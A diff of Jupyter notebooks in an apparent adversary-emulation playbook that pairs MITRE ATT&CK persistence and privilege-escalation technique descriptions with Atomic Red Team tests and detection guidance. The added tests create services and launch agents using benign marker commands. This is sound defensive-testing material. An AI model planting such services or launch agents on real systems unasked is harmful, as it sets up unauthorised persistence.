Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators." }, { "cell_type": "markdown", - "id": "d790e148", + "id": "0a8b1848", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ab2c7573", + "id": "918f1b7b", "metadata": {}, "source": "## Detection\nIt may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)" }, { "cell_type": "markdown", - "id": "c3b12bc7", + "id": "7d50289b", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to deploy a tripwire that triggers an alert when an adversary touches a network resource or uses a specific technique.\n#### Use Case\nA defender could monitor for directory service changes using Windows event logs. This can alert to the presence of an adversary in the network.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1502.ipynb b/playbook/tactics/privilege-escalation/T1502.ipynb deleted file mode 100644 index 5d1e75ba..00000000 --- a/playbook/tactics/privilege-escalation/T1502.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9654b79c", - "metadata": {}, - "source": "# T1502 - Parent PID Spoofing\nAdversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)" - }, - { - "cell_type": "markdown", - "id": "cd864a2e", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "126072a2", - "metadata": {}, - "source": "## Detection\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1504.ipynb b/playbook/tactics/privilege-escalation/T1504.ipynb deleted file mode 100644 index 5293313e..00000000 --- a/playbook/tactics/privilege-escalation/T1504.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "093a7e48", - "metadata": {}, - "source": "# T1504 - PowerShell Profile\nAdversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" - }, - { - "cell_type": "markdown", - "id": "70e5fd5a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "62ffdd69", - "metadata": {}, - "source": "## Detection\nLocations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1514.ipynb b/playbook/tactics/privilege-escalation/T1514.ipynb deleted file mode 100644 index 4c397835..00000000 --- a/playbook/tactics/privilege-escalation/T1514.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a1f5115c", - "metadata": {}, - "source": "# T1514 - Elevated Execution with Prompt\nAdversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)" - }, - { - "cell_type": "markdown", - "id": "0471f64f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "8d447459", - "metadata": {}, - "source": "## Detection\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1519.ipynb b/playbook/tactics/privilege-escalation/T1519.ipynb deleted file mode 100644 index 8e8b84d9..00000000 --- a/playbook/tactics/privilege-escalation/T1519.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "61511a79", - "metadata": {}, - "source": "# T1519 - Emond\nAdversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service." - }, - { - "cell_type": "markdown", - "id": "cece2553", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "08adc48c", - "metadata": {}, - "source": "## Detection\nMonitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1543.001.ipynb b/playbook/tactics/privilege-escalation/T1543.001.ipynb index b5221ffb..8283a8f4 100644 --- a/playbook/tactics/privilege-escalation/T1543.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1543.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "3c5d8b8a", + "id": "950ee888", "metadata": {}, "source": "# T1543.001 - Launch Agent\nAdversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) " }, { "cell_type": "markdown", - "id": "dc4af9dc", + "id": "2392ec1f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "82916cca", + "id": "5b7917de", "metadata": {}, "source": "### Atomic Test #1 - Launch Agent\nCreate a plist and execute it\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_malicious_plist})\n\n##### Check Prereq Commands:\n```bash\nif [ -f $PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho \"The shared library doesn't exist. Check the path\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0a60b525", + "id": "a33460cf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "870fb46a", + "id": "0990da83", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2ba54ddd", + "id": "a4cd5da2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4cc8d846", + "id": "72990265", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo launchctl unload ~/Library/LaunchAgents/com.atomicredteam.plist\nsudo rm ~/Library/LaunchAgents/com.atomicredteam.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7445307f", + "id": "659c6c8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c11d301b", + "id": "ebf20a4b", "metadata": {}, "source": [ "### Atomic Test #2 - Event Monitor Daemon Persistence", @@ -73,28 +73,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8cb5c321", + "id": "e2aa05e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1c247306", + "id": "fa876fe6", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo rm /etc/emond.d/rules/atomicredteam_T1543_001.plist\nsudo rm /private/var/db/emondClients/randomflag```" }, { "cell_type": "code", "execution_count": null, - "id": "4feed00b", + "id": "179ed700", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "a0df8529", + "id": "199f60f2", "metadata": {}, "source": "## Detection\nMonitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. " } @@ -102,13 +102,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1543.002.ipynb b/playbook/tactics/privilege-escalation/T1543.002.ipynb index 08c68f8b..d44f036b 100644 --- a/playbook/tactics/privilege-escalation/T1543.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1543.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9c811117", + "id": "ca34dbdd", "metadata": {}, - "source": "# T1543.002 - Systemd Service\nAdversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)" + "source": "# T1543.002 - Systemd Service\nAdversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) " }, { "cell_type": "markdown", - "id": "6d008810", + "id": "a8f743f7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "59a90129", + "id": "15f05619", "metadata": {}, "source": [ "### Atomic Test #1 - Create Systemd Service", @@ -27,42 +27,76 @@ { "cell_type": "code", "execution_count": null, - "id": "13b7af83", + "id": "50f2e2fd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "131f07e3", + "id": "f0cd91cf", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop art-systemd-service.service\nsystemctl disable art-systemd-service.service\nrm -rf /etc/systemd/system/art-systemd-service.service\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5669178d", + "id": "f24fb48d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "eaa87549", + "id": "d1aa7434", "metadata": {}, - "source": "### Atomic Test #2 - Create Systemd Service file, Enable the service , Modify and Reload the service.\nThis test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: System must be Ubuntu ,Kali OR CentOS.\n\n##### Check Prereq Commands:\n```bash\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then exit /b 0; else exit /b 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from Ubuntu ,Kali OR CentOS.\n\n```" + "source": [ + "### Atomic Test #2 - Create SysV Service", + "This test creates a SysV service unit file and enables it as a service.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho '#\\!/bin/sh' > /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test\necho '#' >> /usr/local/etc/rc.d/art-test\necho '# PROVIDE: art-test' >> /usr/local/etc/rc.d/art-test\necho '# REQUIRE: LOGIN' >> /usr/local/etc/rc.d/art-test\necho '# KEYWORD: shutdown' >> /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test\necho '. /etc/rc.subr' >> /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test\necho 'name=\"art_test\"' >> /usr/local/etc/rc.d/art-test\necho 'rcvar=art_test_enable' >> /usr/local/etc/rc.d/art-test\necho 'load_rc_config ${name}' >> /usr/local/etc/rc.d/art-test\necho 'command=\"/usr/bin/touch\"' >> /usr/local/etc/rc.d/art-test\necho 'start_cmd=\"art_test_start\"' >> /usr/local/etc/rc.d/art-test\necho '' >> /usr/local/etc/rc.d/art-test\necho 'art_test_start()' >> /usr/local/etc/rc.d/art-test \necho '{' >> /usr/local/etc/rc.d/art-test\necho ' ${command} /tmp/art-test.marker' >> /usr/local/etc/rc.d/art-test\necho '}' >> /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test \necho 'run_rc_command \"$1\"' >> /usr/local/etc/rc.d/art-test\nchmod +x /usr/local/etc/rc.d/art-test\nservice art-test enable\nservice art-test start\n```" + ] }, { "cell_type": "code", "execution_count": null, - "id": "95923206", + "id": "0a46d753", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8e833096", + "id": "a4c4bb81", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsysrc -x art_test_enable\nrm -f /usr/local/etc/rc.d/art-test\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9bfe6d59", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "74c42289", + "metadata": {}, + "source": "### Atomic Test #3 - Create Systemd Service file, Enable the service , Modify and Reload the service.\nThis test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: System must be Ubuntu ,Kali OR CentOS.\n\n##### Check Prereq Commands:\n```bash\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then exit /b 0; else exit /b 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from Ubuntu ,Kali OR CentOS.\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4128f476", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "6a93158d", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -72,42 +106,42 @@ { "cell_type": "code", "execution_count": null, - "id": "0add39b9", + "id": "96c4dac8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2" + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "bbfa3585", + "id": "b608c2e9", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop T1543.002\nsystemctl disable T1543.002\nrm -rf /etc/init.d/T1543.002\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a5e272d0", + "id": "91af94dc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "a0752124", + "id": "53bac631", "metadata": {}, - "source": "## Detection\nSystemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution." + "source": "## Detection\nMonitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\u2013type=service \u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1543.003.ipynb b/playbook/tactics/privilege-escalation/T1543.003.ipynb index 8c871111..804aeb7f 100644 --- a/playbook/tactics/privilege-escalation/T1543.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1543.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d7b2efbf", + "id": "fde2f26f", "metadata": {}, "source": "# T1543.003 - Windows Service\nAdversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component)." }, { "cell_type": "markdown", - 